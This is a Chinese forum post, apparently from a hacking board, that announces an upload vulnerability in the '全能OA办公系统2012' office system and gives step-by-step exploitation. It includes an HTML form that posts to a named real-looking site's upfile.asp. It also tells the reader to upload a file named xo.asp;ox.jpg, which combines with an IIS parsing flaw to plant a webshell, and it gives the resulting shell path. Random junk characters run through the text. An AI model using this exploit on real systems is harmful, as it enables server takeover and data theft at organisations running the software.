全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
: j# h! y7 r4 y( [4 T​
6 t, c1 P9 M+ P0 y+ J系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
3 c7 c  c: W& b/ S公司通告
工作计划
2 V2 J! s& ^4 O$ U! r通讯助理
1 {! y* Z6 U8 q客户资源
我的公文
2 i2 p; O9 B& Z  r# u公文传阅
公共资源
1 L7 D9 B4 f0 _) F资源预约
今日考勤
* @: X( I7 d5 `/ w  e个人计划
个人通讯录
5 c) U7 ]. @$ F' P- G$ C" O个人基本档案
& r9 b( B  d* {# g未读邮件
' n% t6 L  P) f$ S7 Y" m发邮件
收件夹
寄件夹
  P2 X* s# Y) q1 v0 h1 j8 L- N网络硬盘
网络会议
5 T1 E" w* j% j+ k0 ^4 b2 D网络调查
- B- K/ i( H% C$ P  P  p6 K) J交流论坛
* b$ u2 f. V. K1 s; H6 Y
有兴趣测试的朋友可以下源码看看
4 {' m) l% z, v% V, f5 L2 K& e3 o- M6 J
源码下载：

http://www.mycodes.net/30/4750.htm
- Q6 x9 f# H; L+ Q
* T3 K+ s' V% K" `& J5 j' x, {0 Z漏洞介绍：
7 H9 [  e( y( A2 |
# D0 z8 f& I$ K由upfile.asp上传文件漏洞引起

测试方法：

) c0 _8 L9 `/ J" g0 r" j. X使用名小子上传http://www.itlynn.com/upfile.asp即可
* S/ L* t3 ?' X
如果upfile.asp文件被删除不存在。

, p& `0 ?5 w0 v5 N$ x7 m' P  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

+ F/ j6 |- p9 g* c0 x+ o$ {然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
- t# e( a2 p" [. ?% m
+ d  j& c0 d, q. T' W
5 k0 |, Y, {: f& ]- f) T+ j& g
, [5 C( k( Z) p# \4 q& z% a01 <table border='0' align="center" cellpadding="5">
# u$ x2 i  X; O+ s
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
' X0 U, _$ M' ]( X: z
03 <tr>

: A. y6 C# K% i4 P0 ]04             <td>报错：</td>
& [, k8 d# j) s! B- `) U
05             <td><input type='radio' name='errnumber' value='0'>

8 k) F2 D- C9 s9 i1 j* e+ |) ^06               自动更名

& M. l) ^4 p+ f0 `. r07               <input type='radio' name='errnumber' value='1' checked>
4 c( d0 Z- R" z, e0 }; \( W9 {
08               报错方式

09               <input type='radio' name='errnumber' value='2'>
: |  R3 s# |! U9 `. l8 S! a
! @0 I: x+ k8 R) L, x1 E" Q10               直接覆盖</td>

5 z3 P5 b: q$ v! n- d/ U& q9 E5 _11           </tr>
% _7 B% K+ m7 Q3 K/ S# x
: U+ H0 @8 [" K! ]3 @12           <tr>

. p2 O' A5 n  F6 w4 U. A13             <td>主题：</td>
; l# t# [! D1 a8 h+ v3 N
14             <td><input type='text' name='filename' size='30'></td>

/ U7 W2 G' b$ K8 l' \) q+ J7 c& f4 P15           </tr>

% e. [* f+ l- v' U" k2 Q16           <tr>
; J/ @. e/ q6 d% d0 R; ?) Z8 J. G
/ Y; Y$ P' z' G" z17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>

( K, z  f) J1 j19           </tr>
" `4 t- F3 x. t" E) `4 O6 p
20           <tr>

! a9 ~! I, n; b$ L21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

24   
. L* `, I7 @1 I- E4 x$ Z
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
) s  e" c$ i. H5 ?* x; O2 @
# i# w; D; v/ l27         </form>
. d/ w3 e- D9 c! x! E" q
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
" _  b" p( K) R9 G0 K
2 d% u* \% k2 `0 }: z

, {8 m5 o) \( W+ h( p' @上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
7 D: q; T& h4 v  M3 p3 `1 O
此漏洞需要配合解析漏洞利用。
! G/ \3 n7 R! m8 r1 M5 ]" W' j